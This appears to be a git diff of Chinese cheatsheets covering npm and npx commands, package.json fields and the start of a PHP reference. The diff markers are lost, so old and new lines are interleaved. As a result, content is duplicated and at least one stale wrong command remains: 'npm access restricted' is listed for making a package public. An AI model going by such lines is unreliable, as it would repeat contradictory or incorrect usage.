`npm uninstall <package_name>` | 卸载包
|
||||
`npm uninstall -g <package_name>` | 全局卸载包
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
`--save` 是 npm@5 的默认值。 以前,使用不带 `--save` 的 `npm install` 不会更新 package.json。
|
||||
### 安装
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
### 安装名称
|
||||
命令 | 描述
|
||||
:- |:-
|
||||
`npm i sax` | `NPM` 包
|
||||
`npm i sax@latest` | 指定标签 `最新`
|
||||
`npm i sax@3.0.0` | 指定版本 `3.0.0`
|
||||
`npm i sax@">=1 <2.0"` | 指定版本范围
|
||||
`npm i @org/sax` | 范围内的 `NPM` 包
|
||||
`npm i user/repo` | GitHub
|
||||
`npm i user/repo#master` | GitHub
|
||||
`npm i github:user/repo` | GitHub
|
||||
`npm i gitlab:user/repo` | GitLab
|
||||
`npm i /path/to/repo` | 绝对路径
|
||||
`npm i ./archive.tgz` | 压缩包
|
||||
`npm i https://site.com/archive.tgz` | 通过 `HTTP` 压缩包
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
| 命令 | 描述 |
|
||||
| --- | --- |
|
||||
| `npm i sax` | NPM 包 |
|
||||
| `npm i sax@latest` | 指定标签“最新” |
|
||||
| `npm i sax@3.0.0` | 指定版本 `3.0.0` |
|
||||
| `npm i sax@">=1 <2.0"` | 指定版本范围 |
|
||||
| `npm i @org/sax` | 范围内的 NPM 包 |
|
||||
| `npm i user/repo` | GitHub |
|
||||
| `npm i user/repo#master` | GitHub |
|
||||
| `npm i github:user/repo` | GitHub |
|
||||
| `npm i gitlab:user/repo` | GitLab |
|
||||
| `npm i /path/to/repo` | 绝对路径 |
|
||||
| `npm i ./archive.tgz` | 压缩包 |
|
||||
| `npm i https://site.com/archive.tgz` | 通过 HTTP 压缩包 |
|
||||
安装依赖的可用参数
|
||||
|
||||
- `-P`, `--save-prod` 包将出现在您的依赖项中,这是默认值(npm v8),除非存在 `-D` 或 `-O`
|
||||
- `-D`, `--save-dev` 包会出现在你的 `devDependencies` 中
|
||||
- `-O`, `--save-optional` 包将出现在您的 `optionalDependencies` 中
|
||||
- `--no-save` 防止保存到依赖项
|
||||
- `-E`, `--save-exact` 依赖项将使用精确的版本进行配置,而不是使用 `npm` 的默认 [`semver`](./semver.md) 范围运算符
|
||||
- `-B`, `--save-bundle` 依赖项也将添加到您的 [`bundleDependencies`](./package.json.md#bundleddependencies) 列表中
|
||||
<!--rehype:className=style-arrow-->
|
||||
|
||||
命令 `npm i` 是 `npm install` 的别名
|
||||
|
||||
### 清单
|
||||
|
||||
| 命令 | 描述 |
|
||||
| --- | --- |
|
||||
| `npm list` | 列出此软件中所有依赖项的已安装版本 |
|
||||
| `npm list -g --depth 0` | 列出所有全局安装包的安装版本 |
|
||||
| `npm view` | 列出此软件中所有依赖项的最新版本 |
|
||||
| `npm outdated` | 仅列出此软件中已过时的依赖项 |
|
||||
命令 | 描述
|
||||
:- |:-
|
||||
`npm list` | 列出此软件中所有依赖项的已安装版本
|
||||
`npm list -g --depth 0` | 列出所有全局安装包的安装版本
|
||||
`npm view` | 列出此软件中所有依赖项的最新版本
|
||||
`npm outdated` | 仅列出此软件中已过时的依赖项
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 缓存 cache
|
||||
|
||||
```bash
|
||||
$ npm cache add <package-spec> # 将指定的包添加到本地缓存
|
||||
$ npm cache clean [<key>] # 删除缓存文件夹中的所有数据
|
||||
$ npm cache ls [<name>@<version>]
|
||||
$ npm cache verify # 验证缓存文件夹的内容,垃圾收集任何不需要的数据,
|
||||
# 并验证缓存索引和所有缓存数据的完整性
|
||||
```
|
||||
|
||||
用于添加、列出或清理 [npm](https://www.npmjs.com/) 缓存文件夹
|
||||
|
||||
### 更新
|
||||
|
||||
| 命令 | 描述 |
|
||||
| --- | --- |
|
||||
| `npm version <version>` | 要更改 `package.json` 中的版本号 |
|
||||
| `npm update` | 更新生产包 |
|
||||
| `npm update --dev` | 更新开发包 |
|
||||
| `npm update -g` | 更新全局包 |
|
||||
| `npm update lodash` | 更新 lodash 包 |
|
||||
|
||||
命令 | 描述
|
||||
:- | -
|
||||
`npm version <version>` | 要更改 `package.json` 中的版本号
|
||||
`npm update` | 更新生产包
|
||||
`npm update --dev` | 更新开发包
|
||||
`npm update -g` | 更新全局包
|
||||
`npm update lodash` | 更新 `lodash` 包
|
||||
|
||||
### 杂项功能
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
将某人添加为所有者
|
||||
|
||||
```bash
|
||||
npm owner add USERNAME PACKAGENAME
|
||||
```
|
||||
|
||||
列出包
|
||||
|
||||
```bash
|
||||
npm ls
|
||||
```
|
||||
|
||||
向安装旧版本软件包的用户添加警告(弃用)
|
||||
|
||||
```bash
|
||||
npm deprecate PACKAGE@"< 0.2.0" "critical bug fixed in v0.2.0"
|
||||
```
|
||||
|
||||
更新所有包或选定的包
|
||||
|
||||
```bash
|
||||
npm update [-g] PACKAGE
|
||||
```
|
||||
|
||||
检查过时的包
|
||||
|
||||
```bash
|
||||
npm outdated [PACKAGE]
|
||||
```
|
||||
|
||||
### 更改包裹可见性
|
||||
|
||||
将公共包设为私有
|
||||
|
||||
```bash
|
||||
npm access restricted <package-name>
|
||||
```
|
||||
|
||||
公开私有包
|
||||
|
||||
```bash
|
||||
npm access restricted <package-name>
|
||||
```
|
||||
|
||||
授予私有包访问权限
|
||||
|
||||
```bash
|
||||
npm owner add <user> <your-package-name>
|
||||
```
|
||||
|
||||
### 要将包转移到 npm 用户帐户
|
||||
|
||||
```bash
|
||||
npm owner add <their-username> <package-name>
|
||||
# 新维护者接受邀请
|
||||
npm owner rm <your-username> <package-name>
|
||||
```
|
||||
|
||||
写入启用了双因素身份验证
|
||||
|
||||
```bash
|
||||
npm owner add <their-username> <package-name> --otp=123456
|
||||
# 将某人添加为所有者
|
||||
$ npm owner add USERNAME PACKAGENAME
|
||||
# 列出包
|
||||
$ npm ls
|
||||
# 向安装旧版本软件包的用户添加警告(弃用)
|
||||
$ npm deprecate PACKAGE@"< 0.2.0" "critical bug fixed in v0.2.0"
|
||||
# 更新所有包或选定的包
|
||||
$ npm update [-g] PACKAGE
|
||||
# 检查过时的包
|
||||
$ npm outdated [PACKAGE]
|
||||
```
|
||||
|
||||
### 取消发布包
|
||||
|
||||
```bash
|
||||
npm unpublish <package-name> -f
|
||||
$ npm unpublish <package-name> -f
|
||||
# 取消指定版本
|
||||
npm unpublish <package-name>@<version>
|
||||
$ npm unpublish <package-name>@<version>
|
||||
```
|
||||
|
||||
注意:如果您取消发布整个包,则必须在 24 小时后才能发布该包的任何新版本。
|
||||
注意:如果您取消发布整个包,则必须在 24 小时后才能发布该包的任何新版本
|
||||
|
||||
### 更改包裹可见性
|
||||
|
||||
```bash
|
||||
# 将公共包设为私有
|
||||
$ npm access restricted <package-name>
|
||||
# 公开私有包
|
||||
$ npm access public <package-name>
|
||||
# 授予私有包访问权限
|
||||
$ npm owner add <user> <your-package-name>
|
||||
```
|
||||
|
||||
### 要将包转移到 npm 用户帐户
|
||||
|
||||
```bash
|
||||
# 新维护者接受邀请
|
||||
$ npm owner add <their-username> <package-name>
|
||||
# 删除维护者
|
||||
$ npm owner rm <your-username> <package-name>
|
||||
# 写入启用了双因素身份验证
|
||||
$ npm owner add <their-username> <package-name> --otp=123456
|
||||
```
|
||||
|
||||
### 发布包 npmjs.org
|
||||
|
||||
```bash
|
||||
npm publish
|
||||
$ npm publish
|
||||
# 第一次需要指定公开参数
|
||||
npm publish --access public
|
||||
$ npm publish --access public
|
||||
```
|
||||
|
||||
发布公开包,到 npmjs.org
|
||||
发布公开包,到 [npmjs.org](https://docs.npmjs.com)
|
||||
|
||||
### 使用 nrm 切换 registry
|
||||
|
||||
```bash
|
||||
$ npm install -g nrm # 安装 nrm 包
|
||||
# 查看 registry 列表
|
||||
$ nrm ls
|
||||
# 将注册表切换到 cnpm
|
||||
$ nrm use cnpm
|
||||
```
|
||||
|
||||
### init
|
||||
|
||||
用于设置新的或现有的 `npm` 包
|
||||
|
||||
```bash
|
||||
$ npm init <package-spec> # (如同 `npx <package-spec>)
|
||||
$ npm init <@scope> # (如同 `npx <@scope>/create`)
|
||||
```
|
||||
|
||||
别名: `create`, `innit`
|
||||
|
||||
:- | --
|
||||
:- | --
|
||||
`npm init foo` | `npm exec create-foo`
|
||||
`npm init @usr/foo` | `npm exec @usr/create-foo`
|
||||
`npm init @usr` | `npm exec @usr/create`
|
||||
`npm init @usr@2.0.0` | `npm exec @usr/create@2.0.0`
|
||||
`npm init @usr/foo@2.0.0` | `npm exec @usr/create-foo@2.0.0`
|
||||
<!--rehype:className=left-align-->
|
||||
|
||||
### exec
|
||||
|
||||
命令允许您在与通过 `npm run` 运行它类似的上下文中从 npm 包
|
||||
|
||||
```bash
|
||||
$ npm exec -- <pkg>[@<version>] [args...]
|
||||
$ npm exec --package=<pkg>[@<version>] -- <cmd> [args...]
|
||||
$ npm exec -c '<cmd> [args...]'
|
||||
$ npm exec --package=foo -c '<cmd> [args...]'
|
||||
```
|
||||
|
||||
别名: x
|
||||
|
||||
```bash
|
||||
$ npm exec --package yo --package generator-node --call "yo node"
|
||||
|
||||
$ npm exec --package=foo -- bar --bar-argument
|
||||
# ~ or ~
|
||||
$ npx --package=foo bar --bar-argument
|
||||
```
|
||||
|
||||
npx
|
||||
---
|
||||
|
||||
### 介绍
|
||||
|
||||
从本地或远程 npm 包运行命令
|
||||
|
||||
```bash
|
||||
npx -- <pkg>[@<version>] [args...]
|
||||
npx --package=<pkg>[@<version>] -- <cmd> [args...]
|
||||
npx -c '<cmd> [args...]'
|
||||
npx --package=foo -c '<cmd> [args...]'
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
`npx` 二进制文件在 `npm v7.0.0` 中被重写,并且当时不推荐使用独立的 `npx` 包
|
||||
|
||||
```bash
|
||||
$ npm install eslint
|
||||
# 运行:
|
||||
$ ./node_modules/.bin/eslint
|
||||
```
|
||||
|
||||
上面命令简化,直接运行下面👇命令
|
||||
|
||||
```bash
|
||||
$ npx eslint
|
||||
```
|
||||
|
||||
命令 `npx` 将自动安装并运行 `eslint`
|
||||
|
||||
### npx VS npm exec
|
||||
|
||||
```bash
|
||||
$ npx foo@latest bar --package=@npmcli/foo
|
||||
# npm 将解析 foo 包名,并运行以下命令:
|
||||
$ foo bar --package=@npmcli/foo
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
由于 npm 的参数解析逻辑,运行这个命令是不同的:
|
||||
|
||||
```bash
|
||||
$ npm exec foo@latest bar --package=@npmcli/foo
|
||||
# npm 将首先解析 --package 选项
|
||||
# 解析 @npmcli/foo 包
|
||||
# 然后,它将在该上下文中执行以下命令:
|
||||
$ foo@latest bar
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
下面命令是与 `npx` 等效的
|
||||
|
||||
```bash
|
||||
$ npm exec -- foo@latest bar --package=@npmcli/foo
|
||||
# 等效的
|
||||
$ npx foo@latest bar --package=@npmcli/foo
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### npx VS npm exec 示例
|
||||
|
||||
使用提供的参数在本地依赖项中运行 `tap` 版本:
|
||||
|
||||
```bash
|
||||
$ npm exec -- tap --bail test/foo.js
|
||||
$ npx tap --bail test/foo.js
|
||||
```
|
||||
|
||||
通过指定 `--package` 选项运行名称与包名称匹配的命令以外的命令:
|
||||
|
||||
```bash
|
||||
$ npm exec --package=foo -- bar --bar-argument
|
||||
# ~ or ~
|
||||
$ npx --package=foo bar --bar-argument
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
在当前项目的上下文中运行任意 `shell` 脚本:
|
||||
|
||||
```bash
|
||||
$ npm x -c 'eslint && say "hooray, lint passed"'
|
||||
$ npx -c 'eslint && say "hooray, lint passed"'
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 创建一个 React Naive 项目
|
||||
|
||||
```bash
|
||||
$ npx react-native init AwesomeProject
|
||||
$ npx react-native init AwesomeTSProject --template react-native-template-typescript
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
使用 `npx` 直接创建一个 [React Native](https://reactnative.dev/docs/environment-setup#creating-a-new-application) 应用
|
||||
|
||||
### 创建一个 React 应用
|
||||
|
||||
```bash
|
||||
$ npx create-react-app my-app
|
||||
$ npx create-react-app my-app --template typescript
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
使用 `npx` 跳过安装 [CRA](https://reactnative.dev/docs/environment-setup#creating-a-new-application),直接创建一个 [React](./react.md) 应用
|
||||
|
||||
配置
|
||||
---
|
||||
@ -160,17 +314,27 @@ npm publish --access public
|
||||
`$PREFIX/etc/npmrc` | 全局配置文件
|
||||
`/path/to/npm/npmrc` | npm 内置配置文件
|
||||
|
||||
|
||||
### 配置内容
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```ini
|
||||
# last modified: 01 Jan 2016
|
||||
; Set a new registry for a scoped package
|
||||
@myscope:registry=https://mycustomregistry.example.org
|
||||
@myscope:registry=https://registry.npmmirror.com
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
注释使用 `#`, `;` 放置到一行的开头。`.npmrc` 文件由指定此注释语法的 [`npm/ini`](https://github.com/npm/ini) 解析
|
||||
注释使用 `#`, `;` 放置到一行的开头, [`.npmrc`](https://docs.npmjs.com/cli/v8/configuring-npm/npmrc) 文件由指定此注释语法的 [`npm/ini`](https://github.com/npm/ini) 解析
|
||||
|
||||
### registry
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`npm` | <https://registry.npmjs.org/>
|
||||
`yarn` | <https://registry.yarnpkg.com/>
|
||||
`tencent` | <https://mirrors.cloud.tencent.com/npm/>
|
||||
`cnpm` | <https://r.cnpmjs.org/>
|
||||
`taobao` | <https://registry.npmmirror.com/>
|
||||
`npmMirror` | <https://skimdb.npmjs.com/registry/>
|
||||
|
||||
### `.npmignore`
|
||||
|
||||
@ -190,19 +354,21 @@ npm publish --access public
|
||||
`.npmignore` 文件就像 [`.gitignore`](./git.md#忽略文件) 一样工作。它不能覆盖 `package.json#files` 字段。
|
||||
|
||||
### 中国镜像站安装
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
```bash
|
||||
# 临时使用
|
||||
$ npm install -g <package-name> --registry=https://registry.npmmirror.com
|
||||
```
|
||||
|
||||
将配置放置在 `.npmrc` 配置文件中。
|
||||
将配置放置在 [`.npmrc`](https://docs.npmjs.com/cli/v8/configuring-npm/npmrc) 全局配置文件中,或者在项目的根目录中。
|
||||
|
||||
```ini
|
||||
; registry=https://registry.npmjs.org/
|
||||
registry=https://registry.npmmirror.com
|
||||
```
|
||||
|
||||
或者配置到 `package.json#publishConfig` 字段上
|
||||
或者配置到 [`package.json#publishConfig`](./package.json.md#publishconfig) 字段上
|
||||
|
||||
```json
|
||||
"publishConfig":{
|
||||
@ -210,4 +376,68 @@ registry=https://registry.npmmirror.com
|
||||
}
|
||||
```
|
||||
|
||||
请参阅:[npmmirror 中国镜像站](https://npmmirror.com/)
|
||||
替换 npm 仓库地址为 npmmirror(淘宝) 镜像地址
|
||||
|
||||
```bash
|
||||
$ npm config set registry https://registry.npmmirror.com
|
||||
```
|
||||
|
||||
请参阅:[npmmirror 中国镜像站](https://npmmirror.com/)
|
||||
|
||||
#### electronjs 镜像和缓存
|
||||
|
||||
```ini
|
||||
ELECTRON_MIRROR="https://npmmirror.com/mirrors/electron/"
|
||||
ELECTRON_BUILDER_BINARIES_MIRROR=https://npmmirror.com/mirrors/electron-builder-binaries/
|
||||
; ELECTRON_CUSTOM_DIR="{{ version }}"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 身份验证相关配置
|
||||
|
||||
```ini
|
||||
//registry.npmjs.org/:_authToken=MYTOKEN
|
||||
; 将适用于 @myorg 和 @another
|
||||
//somewhere.com/:_authToken=MYTOKEN
|
||||
; 将适用于 @myorg
|
||||
//somewhere.com/myorg/:_authToken=MYTOKEN1
|
||||
; 将适用于 @another
|
||||
//somewhere.com/another/:_authToken=MYTOKEN2
|
||||
```
|
||||
|
||||
纯 ESM 包
|
||||
----
|
||||
|
||||
### CommonJS 项目移动到 ESM
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
- 将 `"type": "module"` 添加到您的 [package.json](./package.json.md)
|
||||
- 将 [package.json](./package.json.md) 中的 `"main": "index.js"` 替换为 `"exports": "./index.js"`。
|
||||
- 将 [package.json](./package.json.md) 中的 `"engines"` 字段更新为 Node.js 14: `"node": ">=14.16"`。(不包括 <red>~~Node.js 12~~</red>,因为它不再受支持)
|
||||
- 删除 `"use strict"`;来自所有 JavaScript 文件
|
||||
- 将所有 `require()` / `module.export` 替换为 `import` / `export`
|
||||
- 仅使用完整的相对文件路径进行导入:`import x from '.';` → `import x from './index.js';`
|
||||
- 如果您有 `TypeScript` 类型定义(例如 `index.d.ts`),请将其更新为使用 ESM 导入/导出
|
||||
- 可选但推荐使用 `node:` 导入[协议](https://nodejs.org/api/esm.html#esm_node_imports)
|
||||
|
||||
### TypeScript 项目输出 ESM
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
- 确保您使用的是 TypeScript 4.7 或更高版本
|
||||
- 将 `"type": "module"` 添加到您的 [package.json](./package.json.md)
|
||||
- 将 [package.json](./package.json.md) 中的 `"main": "index.js"` 替换为 `"exports": "./index.js"`
|
||||
- 将 [package.json](./package.json.md) 中的 `"engines"` 字段更新为 Node.js 14: `"node": ">=14.16"`。 (不包括 <red>~~Node.js 12~~</red>,因为它不再受支持)
|
||||
- 将 `"module": "node16"`, `"moduleResolution": "node16"` 添加到您的 [tsconfig.json](./typescript.md) ([列子](https://github.com/sindresorhus/tsconfig/blob/main/tsconfig.json))
|
||||
- 仅使用完整的相对文件路径进行导入:`import x from '.';` → `import x from './index.js';`
|
||||
- 删除 `namespace` 使用并改用 `export`
|
||||
- 可选但推荐使用 `node:` 导入[协议](https://nodejs.org/api/esm.html#esm_node_imports)
|
||||
- **即使您正在导入 `.ts` 文件,也必须在相对导入中使用 `.js` 扩展名**
|
||||
|
||||
阅读[官方 ESM 指南](https://www.typescriptlang.org/docs/handbook/esm-node.html)
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [npm 仓库、网站和命令行界面的文档](https://docs.npmjs.com/) _(npmjs.com)_
|
||||
- [npmmirror 中国镜像站](https://npmmirror.com/) _(npmmirror.com)_
|
||||
- [Dev Cheatsheets npx](https://michaelcurrin.github.io/dev-cheatsheets/cheatsheets/package-managers/javascript/npm/commands/npx.html) _(michaelcurrin.github.io)_
|
||||
|
@ -12,6 +12,8 @@ package.json 备忘清单
|
||||
|
||||
- [npm 文档](https://docs.npmjs.com/files/package.json) _(npmjs.com)_
|
||||
- [yarnpkg 文档](https://classic.yarnpkg.com/en/docs/package-json) _(yarnpkg.com)_
|
||||
- [packages 文档](https://nodejs.org/api/packages.html) _(nodejs.org)_
|
||||
- [npm 备忘清单(速查表)](./npm.md) _(jaywcjlove.github.io)_
|
||||
|
||||
### `name`
|
||||
|
||||
@ -21,7 +23,7 @@ package.json 备忘清单
|
||||
}
|
||||
```
|
||||
|
||||
**规则**
|
||||
#### 规则
|
||||
|
||||
- 必须小于或等于214个字符(包括 `@scope/` 范围包)
|
||||
- 不能以点(`.`)或下划线(`_`)开头
|
||||
@ -328,12 +330,100 @@ https://registry.npmjs.org/[包名]/-/[包名]-[version].tgz
|
||||
|
||||
字段由模块作者提供,作为 `JavaScript` 包或组件工具的提示,用于打包模块以供客户端使用。 提案就[在这里](https://github.com/defunctzombie/package-browser-field-spec)。
|
||||
|
||||
### `exports`
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "mod",
|
||||
"exports":{
|
||||
".": "./lib/index.js",
|
||||
"./lib/*": "./lib/*.js"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
使用最新的 `exports` 字段导出,可规避 `main` 字段局限性 [具体参考](https://nodejs.org/api/packages.html)
|
||||
|
||||
### exports 导出子路径中的模块
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "mod",
|
||||
"exports": {
|
||||
".": "./index.js",
|
||||
"./sub": "./src/sub.js"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
导入
|
||||
|
||||
```js
|
||||
import sub from "mod/sub"
|
||||
```
|
||||
|
||||
### exports 简写 (`.` 唯一的导出)
|
||||
|
||||
```json
|
||||
{
|
||||
"exports": {
|
||||
".": "./dist/index.js"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
简写
|
||||
|
||||
```json
|
||||
{
|
||||
"exports": "./dist/index.js"
|
||||
}
|
||||
```
|
||||
|
||||
### 条件导出(exports)
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`export` | 通过 `import` 或 `import()` 或 `es` 模块加载的任何顶层导入或解析操作加载时,匹配。
|
||||
`require` | 当包通过 `require()` 加载时匹配。预期的格式包括 CommonJS、JSON 和本地插件。
|
||||
`node` | 匹配任何 `Node.js` 环境。可以是 `cjs` 或 `es` 模块文件。必须在 `import` 或 `require` 之后。
|
||||
`default` | 默认的降级条件。可以是一个 `cjs` 或 `es` 模块文件。这个条件应该总是排在最后。
|
||||
|
||||
```js
|
||||
{
|
||||
"exports": {
|
||||
".": {
|
||||
"import":"./dist/index.mjs",
|
||||
"require":"./dist/index.cjs", // 当包通过 `require()` 加载时匹配
|
||||
"node": "./dist/ployfill.js", // 匹配任何 `Node.js` 环境
|
||||
"default": "./dist/default.js" // 默认的降级条件
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
<red>注意:</red>由于 `require` 和 `import` 互斥,所以 `require` 不能加载 `es` 的模块,`export` 不能加载 `cjs` 模块
|
||||
|
||||
### `main` Vs `exports`
|
||||
|
||||
```json
|
||||
{
|
||||
"main": "./index.js",
|
||||
"exports": "./index.js"
|
||||
}
|
||||
```
|
||||
|
||||
如果同时出现 <red>~~`main`~~</red> 和 `exports` 字段,只会读取 `exports` 字段
|
||||
|
||||
## 任务类字段
|
||||
|
||||
包里还可以包含一些可执行脚本或者其他配置信息。
|
||||
|
||||
### `scripts`
|
||||
|
||||
脚本是定义自动化开发相关任务的好方法,比如使用一些简单的构建过程或开发工具。 在 `scripts` 字段里定义的脚本,可以通过 `yarn run <script>` 命令来执行。 例如,下面 `build-project` 脚本可以通过 `yarn run build-project` 调用,并执行 `node build-project.js`。
|
||||
|
||||
```json
|
||||
{
|
||||
"scripts": {
|
||||
@ -342,12 +432,14 @@ https://registry.npmjs.org/[包名]/-/[包名]-[version].tgz
|
||||
}
|
||||
```
|
||||
|
||||
脚本是定义自动化开发相关任务的好方法,比如使用一些简单的构建过程或开发工具。 在 `scripts` 字段里定义的脚本,可以通过 `yarn run <script>` 命令来执行。 例如,上述 `build-project` 脚本可以通过 `yarn run build-project` 调用,并执行 `node build-project.js`。
|
||||
|
||||
有一些特殊的脚本名称。 如果定义了 `preinstall` 脚本,它会在包安装前被调用。 出于兼容性考虑,`install`、`postinstall` 和 `prepublish` 脚本会在包完成安装后被调用。
|
||||
|
||||
----
|
||||
|
||||
`start` 脚本的默认值为 `node server.js`。
|
||||
|
||||
----
|
||||
|
||||
参考文档:[npm docs](https://docs.npmjs.com/files/package.json#default-values)
|
||||
|
||||
### 特定的 `scripts`
|
||||
@ -355,24 +447,24 @@ https://registry.npmjs.org/[包名]/-/[包名]-[version].tgz
|
||||
|
||||
对于以下脚本,`npm` 支持 `package.json` 文件的 `scripts` 默认命令字段:
|
||||
|
||||
- `prepublish`: 在打包并发布包之前运行,以及在没有任何参数的本地 `npm` 安装之前运行。 (见下文)
|
||||
- `prepare`: 在打包和发布包之前运行,在没有任何参数的本地 `npm install` 上运行,以及安装 git 依赖项时(见下文)。 这是在 `preublish` 之后运行,但是在 `preublishOnly` 之前运行。
|
||||
- `prepublishOnly`: 在包准备和打包之前运行,仅限于npm发布。 (见下文。)
|
||||
- `prepublish`: 在打包并发布包之前运行,以及在没有任何参数的本地 `npm` 安装之前运行
|
||||
- `prepare`: 在打包和发布包之前运行,在没有任何参数的本地 `npm install` 上运行,以及安装 git 依赖项时。 这是在 `preublish` 之后运行,但是在 `preublishOnly` 之前运行
|
||||
- `prepublishOnly`: 在包准备和打包之前运行,仅限于npm发布
|
||||
- `prepack`: 在打包 `tarball` 之前运行(在 `npm pack`,`npm publish`,以及安装 git 依赖项时)
|
||||
- `postpack`: 在生成 `tarball` 之后运行并移动到其最终目标。
|
||||
- `publish`, `postpublish`: 在包发布后运行。
|
||||
- `preinstall`: 在安装软件包之前运行。
|
||||
- `install`, `postinstall`: 安装包后运行。
|
||||
- `preuninstall`, `uninstall`: 在卸载软件包之前运行。
|
||||
- `postuninstall`: 在卸载软件包之后运行。
|
||||
- `preversion`: 在改变包版本之前运行。
|
||||
- `version`: 改变包版本后运行,但提交之前。
|
||||
- `postversion`: 改变包版本后运行,然后提交。
|
||||
- `pretest`, `test`, `posttest`: 由 `npm test` 命令运行。
|
||||
- `prestop`, `stop`, `poststop`: 由 `npm stop` 命令运行。
|
||||
- `prestart`, `start`, `poststart`: 由 `npm start` 命令运行。
|
||||
- `prerestart`, `restart`, `postrestart`: 由 `npm restart` 命令运行。 注意:如果没有提供重启脚本,`npm restart` 将运行 `stop` 和`start` 脚本。
|
||||
- `preshrinkwrap`, `shrinkwrap`, `postshrinkwrap`: 由 `npm shrinkwrap` 命令运行。
|
||||
- `postpack`: 在生成 `tarball` 之后运行并移动到其最终目标
|
||||
- `publish`, `postpublish`: 在包发布后运行
|
||||
- `preinstall`: 在安装软件包之前运行
|
||||
- `install`, `postinstall`: 安装包后运行
|
||||
- `preuninstall`, `uninstall`: 在卸载软件包之前运行
|
||||
- `postuninstall`: 在卸载软件包之后运行
|
||||
- `preversion`: 在改变包版本之前运行
|
||||
- `version`: 改变包版本后运行,但提交之前
|
||||
- `postversion`: 改变包版本后运行,然后提交
|
||||
- `pretest`, `test`, `posttest`: 由 `npm test` 命令运行
|
||||
- `prestop`, `stop`, `poststop`: 由 `npm stop` 命令运行
|
||||
- `prestart`, `start`, `poststart`: 由 `npm start` 命令运行
|
||||
- `prerestart`, `restart`, `postrestart`: 由 `npm restart` 命令运行。 注意:如果没有提供重启脚本,`npm restart` 将运行 `stop` 和`start` 脚本
|
||||
- `preshrinkwrap`, `shrinkwrap`, `postshrinkwrap`: 由 `npm shrinkwrap` 命令运行
|
||||
|
||||
参考文档:[npm docs](https://docs.npmjs.com/misc/scripts).
|
||||
|
||||
@ -577,7 +669,6 @@ https://registry.npmjs.org/[包名]/-/[包名]-[version].tgz
|
||||
|
||||
此选项指定你的包的操作系统兼容性,它会检查 `process.platform`。
|
||||
|
||||
|
||||
### `cpu`
|
||||
|
||||
```json
|
||||
@ -624,6 +715,8 @@ Yarn
|
||||
|
||||
### `flat`
|
||||
|
||||
<!-- markdownlint-disable MD042 -->
|
||||
|
||||
如果你的包只允许给定依赖的一个版本,你想强制和命令行上 [yarn install --flat](#) 相同的行为,把这个值设为 `true`。
|
||||
|
||||
```json
|
||||
@ -651,8 +744,11 @@ Yarn
|
||||
|
||||
注意,`yarn install --flat` 命令将会自动在 `package.json` 文件里加入 `resolutions` 字段。
|
||||
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [PACKAGE.JSON 中文说明](https://jaywcjlove.github.io/package.json) _(github.io)_
|
||||
- [PACKAGE.JSON 中文说明](https://jaywcjlove.github.io/package.json) _(github.io)_
|
||||
- [npm 文档](https://docs.npmjs.com/files/package.json) _(npmjs.com)_
|
||||
- [yarnpkg 文档](https://classic.yarnpkg.com/en/docs/package-json) _(yarnpkg.com)_
|
||||
- [packages 文档](https://nodejs.org/api/packages.html) _(nodejs.org)_
|
||||
- [npm 备忘清单(速查表)](./npm.md) _(jaywcjlove.github.io)_
|
||||
|
972
docs/php.md
Normal file
972
docs/php.md
Normal file
@ -0,0 +1,972 @@
|
||||
PHP 备忘清单
|
||||
===
|
||||
|
||||
这份 [PHP](https://www.php.net/manual/zh/index.php) 备忘单为快速查找最常用代码的正确语法提供了参考
|
||||
|
||||
入门
|
||||
------
|
||||
|
||||
### hello.php
|
||||
|
||||
```php
|
||||
<?php // 以 PHP 开放标签开头
|
||||
echo "Hello World\n";
|
||||
print("Hello quickref.me");
|
||||
?>
|
||||
```
|
||||
|
||||
PHP 运行命令
|
||||
|
||||
```shell
|
||||
$ php hello.php
|
||||
```
|
||||
|
||||
### 变量 Variables
|
||||
|
||||
```php
|
||||
$boolean1 = true;
|
||||
$boolean2 = True;
|
||||
$int = 12;
|
||||
$float = 3.1415926;
|
||||
unset($float); // 删除变量
|
||||
$str1 = "How are you?";
|
||||
$str2 = 'Fine, thanks';
|
||||
```
|
||||
|
||||
查看: [Types](#php-类型)
|
||||
|
||||
### 字符串 Strings
|
||||
|
||||
```php
|
||||
$url = "quickref.me";
|
||||
echo "I'm learning PHP at $url";
|
||||
// 连接字符串
|
||||
echo "I'm learning PHP at " . $url;
|
||||
$hello = "Hello, ";
|
||||
$hello .= "World!";
|
||||
echo $hello; # => Hello, World!
|
||||
```
|
||||
|
||||
查看: [Strings](#php-字符串)
|
||||
|
||||
### 数组 Arrays
|
||||
|
||||
```php
|
||||
$num = [1, 3, 5, 7, 9];
|
||||
$num[5] = 11;
|
||||
unset($num[2]); // 删除变量
|
||||
